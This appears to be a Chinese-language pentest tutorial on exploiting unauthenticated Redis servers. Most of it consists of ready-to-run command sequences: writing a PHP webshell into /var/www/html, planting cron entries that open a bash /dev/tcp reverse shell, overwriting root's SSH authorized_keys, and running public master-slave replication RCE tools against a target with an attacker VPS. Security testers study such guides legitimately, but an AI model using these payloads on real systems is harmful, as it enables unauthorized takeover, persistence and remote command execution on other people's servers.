前言
目前的大多数网站搭建的Redis 均采用 docker 一键部署的方式,而 docker 镜像中的 redis 默认不是以 root 权限运行的,也就是说即使拿下这台 redis,我们也只能在对方服务器的本地内网中漫游,当然还是会有部分 redis 部署在服务器中。
未授权及权限判断
未授权判断
无密码连接至目标 redis 后,执行 info
命令,如出现 redis 的相关信息,则说明存在未授权。
权限判断
连接 redis 发现存在未授权,但我们并不知道它运行用户的权限,先尝试将数据库文件目录设置为根目录:
config set dir /
如果显示 OK,几乎可以确定为 root 权限,非 root 会提示:permission denied
。
利用方式
写文件利用
Redis 提供了 config set dir
和 config set dbfilename
来分别设置数据库文件的保存位置和文件名。
写入 webshell
条件:
-
知道网站目录的绝对路径
-
运行 redis 的用户权限需要对网站目录有写入权限
既然可以写文件,那么就可以利用这种方式将 webshell 写入网站目录,以此来 getshell。
连接至未授权的 redis,依次执行:
# 清空所有数据库的所有 key
flushall
# 设置数据库文件的保存位置,修改为网站的目录
config set dir /var/www/html/
# 设置存储的文件名
config set dbfilename shell.php
# 将webshell的内容存入名为xxx的键,键名随意
set xxx "\n\n<?php $_POST['cmd'];?>\n\n"
# 保存写入
save
写定时任务反弹 shell
-
Redis 以Root 权限运行
这里要注意,不同的 Linux 发行版写入定时任务情况有些区别,其中位置区别如下:
Linux 发行版 | 定时任务路径及文件名要求 |
---|---|
红帽系(Centos) | /etc/cron.d/<任意>、/var/spool/cron/<用户名> |
Debian 系 | /etc/cron.d/<任意> |
不同的位置,命令也有所区别:
定时任务位置 | 命令 | 示例 |
---|---|---|
/etc/cron.d/<任意> | * * * * * <用户名> <命令> | * * * * * root /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1 |
/var/spool/cron/<用户名> | * * * * * <命令> | * * * * * /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1 |
这里还需注意,在 debian 系的 Linux 发行版中,/var/spool/cron/crontabs/
也是定时任务文件目录,但由于它对文件权限有限制,因此无法作为利用目录,同时在定时任务中反弹 shell 时不能直接使用常规的 /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
,而是这种形式:
* * * * * bash -c "bash -i >& /dev/tcp/127.0.0.1/8888 0>&1"
原因参考:https://blog.csdn.net/SHELLCODE_8BIT/article/details/128332941
满足上述要求后,依次执行以下命令:
# 清空所有数据库的所有 key
flushall
# 写入特定目录
config set dir /var/spool/cron/
# 按照要求设置存储的文件名,通常是root
config set dbfilename root
# 写入定时任务,每分钟执行一次,按照要求填写
set xxx "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/127.0.0.1/8888 0>&1'\n\n"
# 保存写入
save
写入 SSH 公钥
原理:通过覆写目标机器的公钥,达到无密码使用私钥即可连接目标机器。
条件:
-
redis 以 Root 权限运行
-
目标机器开启了私钥登录,默认是不开启
-
目标机器创建了公钥,即存在
/root/.ssh
文件夹
执行命令如下:
# 生成rsa密钥对,回车即可
ssh-keygen -t rsa
# 写入tmp文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/public_key.txt
# 写入公钥至redis xxxx key,方便后续写入
cat /tmp/public_key.txt | redis-cli -h x.x.x.x -p 6379 -x set xxxx
# 连接目标redis
redis-cli -h x.x.x.x -p 6379
# 接着执行
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
# 连接部分主机需要添加-o PubkeyAcceptedAlgorithms=+ssh-rsa
ssh root@x.x.x.x -i ~/.ssh/id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
主从复制 RCE
原理:
通过 redis 的加载外部拓展可以执行命令,连接目标 redis 设置使用 slaveof
命令将本机 redis 设置为主机,将恶意 so 文件同步至目标 redis,连接然后执行命令即可。
实际利用过程:使用开源的自动化利用脚本,原理是构造特定 redis 的网络请求,模拟主从复制的过程。
条件:
-
Redis 4.x 及 5.x,高版本默认关闭模块加载功能
模块编译:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
自动化利用脚本:https://github.com/Ridter/redis-rce
快速利用脚本(自编译模块):https://github.com/yinsel/redis-rce
利用过程:
# 克隆仓库
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
# 进入脚本
cd RedisModules-ExecuteCommand
# 安装依赖并编译模块
apt install gcc make -y && make
# 在当前目录克隆自动化脚本
git clone https://github.com/Ridter/redis-rce
# 移动模块并进入脚本目录同时安装依赖
mv module.so ./redis-rce/exp.so && cd redis-rce && pip install -r requirements.txt
# 运行脚本getshell
python3 redis-rce.py -r <目标> -L <VPS公网IP> -f exp.so
效果:
参考链接
https://blog.csdn.net/qq_41874930/article/details/112781957
https://blog.csdn.net/SHELLCODE_8BIT/article/details/128332941
https://paper.seebug.org/975/
https://www.cnblogs.com/one-seven/p/15162039.html